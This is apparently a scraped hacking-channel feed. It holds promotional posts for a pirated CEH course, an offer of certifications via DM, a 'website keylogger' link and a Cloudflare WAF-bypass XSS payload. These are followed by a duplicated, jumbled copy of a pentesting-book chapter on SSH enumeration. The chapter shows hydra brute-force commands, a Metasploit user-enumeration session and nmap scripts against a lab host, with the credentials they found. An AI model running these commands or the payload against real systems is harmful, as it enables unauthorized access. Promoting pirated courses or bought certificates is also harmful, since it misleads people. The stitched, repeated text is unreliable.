Hack 2 Secure Community

#Exclusive 🔥 EC-Council - Certified Ethical Hacker Elite 2024 🆕🔥 Download : https://teraboxapp.com/s/1eo6XbnHN_8GYOz7LbR6oWg

New User got their certificate... Get your now.. 😋❤️ Dm @Rajput_Haxor CEH eJPTv2 eCPPT eWPTXv2 eWPTv2 OSCP OSEP OSWP

https://www.instagram.com/stories/sanatani._.pentester/3351313458443643802?utm_source=ig_story_item_share&igsh=MW10ZHAzNzdkZ3R6 Website Keylogger 🌚

Fixed Voice Issue 🐧

New XSS Bypass Cloudflare WAF 🧱 Payload : %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

SSH Enumeration & Exploitation

A lot of usernames have been found in the previous output results. Next, we will save all the usernames in a users.txt file and store the file in the root home directory. Take note that we are using a smaller password dictionary file in the fol- lowing example to finish faster. Finally, we are using the option -e nsr for the following reasons: "n"stands for null password (the password is empty). "s"stands for log in as password (username=password). stands for reversed login (e.g., if the username is root, then the pass- word will be toor). [*]root@kali:~# hydra -t 10 -e nsr -L /root/users.txt -P /root/users.txt ssh://192.168.20.12

[+] Exploitation Scenarios for an SSH Server An SSH server can be exploited in different ways; here are the common scenarios that you should be looking for (again, you need to know what the exploitation of the service will look like): 1.Credentials brute-force (this is our main target during the enumeration phase). 2.Appending a public key to the authorized_keys file on the server (but you will need a shell to be able to write into that file; in other words, you will need to have access to the host first). 3.SSH can be used to pivot to another host on the network. This can be achieved if one host is compromised and the attacker has access to the public and private keys on the victim’s host (pivoting is a post-exploitation task). 4.Find a public exploit associated with the target Telnet server version. 5.If the attacker can read the authorized_keys file of a DSA (not RSA) algorithm, then the attacker can use the public generated private keys and try to match it to the public key inside the authorized_keys file. (You will need a remote shell first or to read the file using the “local file inclusion”vulnerability of a web application. We will elaborate on LFI in the upcoming chapters.) Once the attacker knows the private key associated with that public key, then the attacker can use the following command: [*]$ssh -i [private key file] [user@ftp_server_ip] [+] Advanced Scripting Scan with Nmap Let’s run a quick enumeration task to get information about the SSH server on the Metasploitable host: [*]root@kali:~# nmap -sV -O -sC -p22 -T5 {target ip} The only information in the previous scan results is the version of the remote SSH server. Next, we need to run the full script scan with Nmap to see whether we can catch more issues with the target SSH server: [*]root@kali:~# nmap -sV -O --script=ssh* -p22 -T5 {target ip} [+]Brute-Forcing SSH with Hydra [*]root@kali:~# hydra -t 10 -L {username wordlist} -P {pass wordlist} ssh://192.168.1.12 Unfortunately, the previous scan output did not find any results. In the next section, “Advanced Brute-Forcing Techniques,” you’ll learn how to run brute- force attacks like a champion. [+]Advanced Brute-Forcing Techniques [*]root@kali:~# msfconsole After that, the Metasploit window is loaded, and we will perform the fol- lowing actions: 1. Use the enumeration module called ssh_enumusers. 2. Identify the Metasploitable IP address. 3. Set the remote SSH port number. 4. Pinpoint the path to the user’s dictionary file. 5. Set the number of parallel threads execution to 25. 6. Finally, run it. msf5 > use auxiliary/scanner/ssh/ssh_enumusers msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.16.0.101 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/namelist.txt msf5 auxiliary(scanner/ssh/ssh_enumusers) > set PORT 22 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 25 msf5 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 172.16.0.101:22 - SSH - Using malformed packet technique [*] 172.16.0.101:22 - SSH - Checking for false positives [*] 172.16.0.101:22 - SSH - Starting scan [+] 172.16.0.101:22 - SSH - User 'backup' found [+] 172.16.0.101:22 - SSH - User 'dhcp' found [+] 172.16.0.101:22 - SSH - User 'ftp' found [+] 172.16.0.101:22 - SSH - User 'games' found [+] 172.16.0.101:22 - SSH - User 'irc' found [+] 172.16.0.101:22 - SSH - User 'mail' found [+] 172.16.0.101:22 - SSH - User 'mysql' found [+] 172.16.0.101:22 - SSH - User 'news' found [+] 172.16.0.101:22 - SSH - User 'proxy' found [+] 172.16.0.101:22 - SSH - User 'root' found [+] 172.16.0.101:22 - SSH - User 'service' found [+] 172.16.0.101:22 - SSH - User 'snmp' found [+] 172.16.0.101:22 - SSH - User 'syslog' found [+] 172.16.0.101:22 - SSH - User 'user' found [*] Auxiliary module execution completed msf5 auxiliary(scanner/ssh/ssh_enumusers) >

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 17000 login tries (l:17/p:1000), ~1700 tries per task [DATA] attacking ssh://metasploitable.KCorp.local:22/ [STATUS] 130.00 tries/min, 130 tries in 00:01h, 16870 to do in 02:10h, 10 active 1 of 1 target completed, 0 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-05 14:34:08 Unfortunately, the previous scan output did not find any results. In the next section, “Advanced Brute-Forcing Techniques,” you’ll learn how to run brute- force attacks like a champion. Advanced Brute-Forcing Techniques Now it’s time to start using Metasploit so that we can leverage our brute-force scan technique. In the previous example, you saw that we didn’t find any cre- dentials. In fact, we tried to run a blind brute-force attack against my target host. In this example, we will use Metasploit to scan for valid usernames on the Metasploitable host first; then, we will attack those specific users instead of just guessing. To run Metasploit, we will type msfconsole into our terminal window: root@kali:~# msfconsole After that, the Metasploit window is loaded, and we will perform the fol- lowing actions: 1. Use the enumeration module called ssh_enumusers. 2. Identify the Metasploitable IP address. 3. Set the remote SSH port number. 4. Pinpoint the path to the user’s dictionary file. 5. Set the number of parallel threads execution to 25. 6. Finally, run it. msf5 > use auxiliary/scanner/ssh/ssh_enumusers msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.16.0.101 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/namelist.txt msf5 auxiliary(scanner/ssh/ssh_enumusers) > set PORT 22 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 25 msf5 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 172.16.0.101:22 - SSH - Using malformed packet technique [*] 172.16.0.101:22 - SSH - Checking for false positives [*] 172.16.0.101:22 - SSH - Starting scan [+] 172.16.0.101:22 - SSH - User 'backup' found [+] 172.16.0.101:22 - SSH - User 'dhcp' found [+] 172.16.0.101:22 - SSH - User 'ftp' found [+] 172.16.0.101:22 - SSH - User 'games' found [+] 172.16.0.101:22 - SSH - User 'irc' found [+] 172.16.0.101:22 - SSH - User 'mail' found [+] 172.16.0.101:22 - SSH - User 'mysql' found [+] 172.16.0.101:22 - SSH - User 'news' found [+] 172.16.0.101:22 - SSH - User 'proxy' found [+] 172.16.0.101:22 - SSH - User 'root' found [+] 172.16.0.101:22 - SSH - User 'service' found [+] 172.16.0.101:22 - SSH - User 'snmp' found Continues 133134 Chapter 6 ■ Advanced Enumeration Phase (continued) [+] 172.16.0.101:22 - SSH - User 'syslog' found [+] 172.16.0.101:22 - SSH - User 'user' found [*] Auxiliary module execution completed msf5 auxiliary(scanner/ssh/ssh_enumusers) > A lot of usernames have been found in the previous output results. Next, we will save all the usernames in a users.txt file and store the file in the root home directory. Take note that we are using a smaller password dictionary file in the fol- lowing example to finish faster. Finally, we are using the option -e nsr for the following reasons: ■■ "n"stands for null password (the password is empty). ■■ "s"stands for log in as password (username=password). stands for reversed login (e.g., if the username is root, then the pass- word will be toor). ■■ "r" root@kali:~# hydra -t 10 -e nsr -L /root/users.txt -P /opt/SecLists/Passwords/darkweb2017-top100.txt ssh://metasploitable. KCorp.local [...] [22][ssh] host: metasploitable.KCorp.local login: service password: service [22][ssh] host: metasploitable.KCorp.local login: user password: user 1 of 1 target successfully completed, 2 valid passwords found In the next chapter, we will exploit the results we found earlier. Additionally, we will delve deep into each SSH exploitation scenario.

Exploitation Scenarios for an SSH Server An SSH server can be exploited in different ways; here are the common scenarios that you should be looking for (again, you need to know what the exploitation of the service will look like): 1.Credentials brute-force (this is our main target during the enumeration phase). 2.Appending a public key to the authorized_keys file on the server (but you will need a shell to be able to write into that file; in other words, you will need to have access to the host first). 3.SSH can be used to pivot to another host on the network. This can be achieved if one host is compromised and the attacker has access to the public and private keys on the victim’s host (pivoting is a post-exploitation task). 4.Find a public exploit associated with the target Telnet server version. 5.If the attacker can read the authorized_keys file of a DSA (not RSA) algorithm, then the attacker can use the public generated private keys and try to match it to the public key inside the authorized_keys file. (You will need a remote shell first or to read the file using the “local file inclusion” vulnerability of a web application. We will elaborate on LFI in the upcoming chapters.) Once the attacker knows the private key associated with that public key, then the attacker can use the following command: $ssh -i [private key file] [user@ftp_server_ip] You can read a detailed article about the latter attack here: https://github.com/g0tmi1k/debian-ssh Advanced Scripting Scan with Nmap Let’s run a quick enumeration task to get information about the SSH server on the Metasploitable host: root@kali:~# nmap -sV -O -sC -p22 -T5 metasploitable.kcorp.local Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 10:55 EDT Nmap scan report for metasploitable.kcorp.local (172.16.0.101) Host is up (0.00036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) MAC Address: 00:0C:29:D2:1A:B1 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X [...] The only information in the previous scan results is the version of the remote SSH server. Next, we need to run the full script scan with Nmap to see whether we can catch more issues with the target SSH server: root@kali:~# nmap -sV -O --script=ssh* -p22 -T5 metasploitable.kcorp .local Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 11:00 EDT [...] Nmap scan report for metasploitable.kcorp.local (172.16.0.101) Host is up (0.00075s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-auth-methods: | Supported authentication methods: Continues 131132 (continued) | publickey |_ password | ssh-brute: | Accounts: | user:user - Valid credentials |_ Statistics: Performed 204 guesses in 181 seconds, average tps: 1.2 | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) | ssh-publickey-acceptance: |_ Accepted Public Keys: No public keys accepted |_ssh-run: Failed to specify credentials and command to run. [...] The previous results show that Nmap found a valid credential to authenticate remotely into the SSH server. Remember that this finding is significant because, with those credentials, we can have remote access to the target server. Brute-Forcing SSH with Hydra Like we did in the FTP brute-force, we can use Hydra for SSH as well. We will use the same options that we used for the FTP scenario: root@kali:~# hydra -t 10 -L /opt/SecLists/Usernames/top-usernames- shortlist.txt -P /opt/SecLists/Passwords/xato-net-10-million- passwords-1000.txt ssh://metasploitable.KCorp.local Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-05 11:11:19

pyaar dikhao apna plusss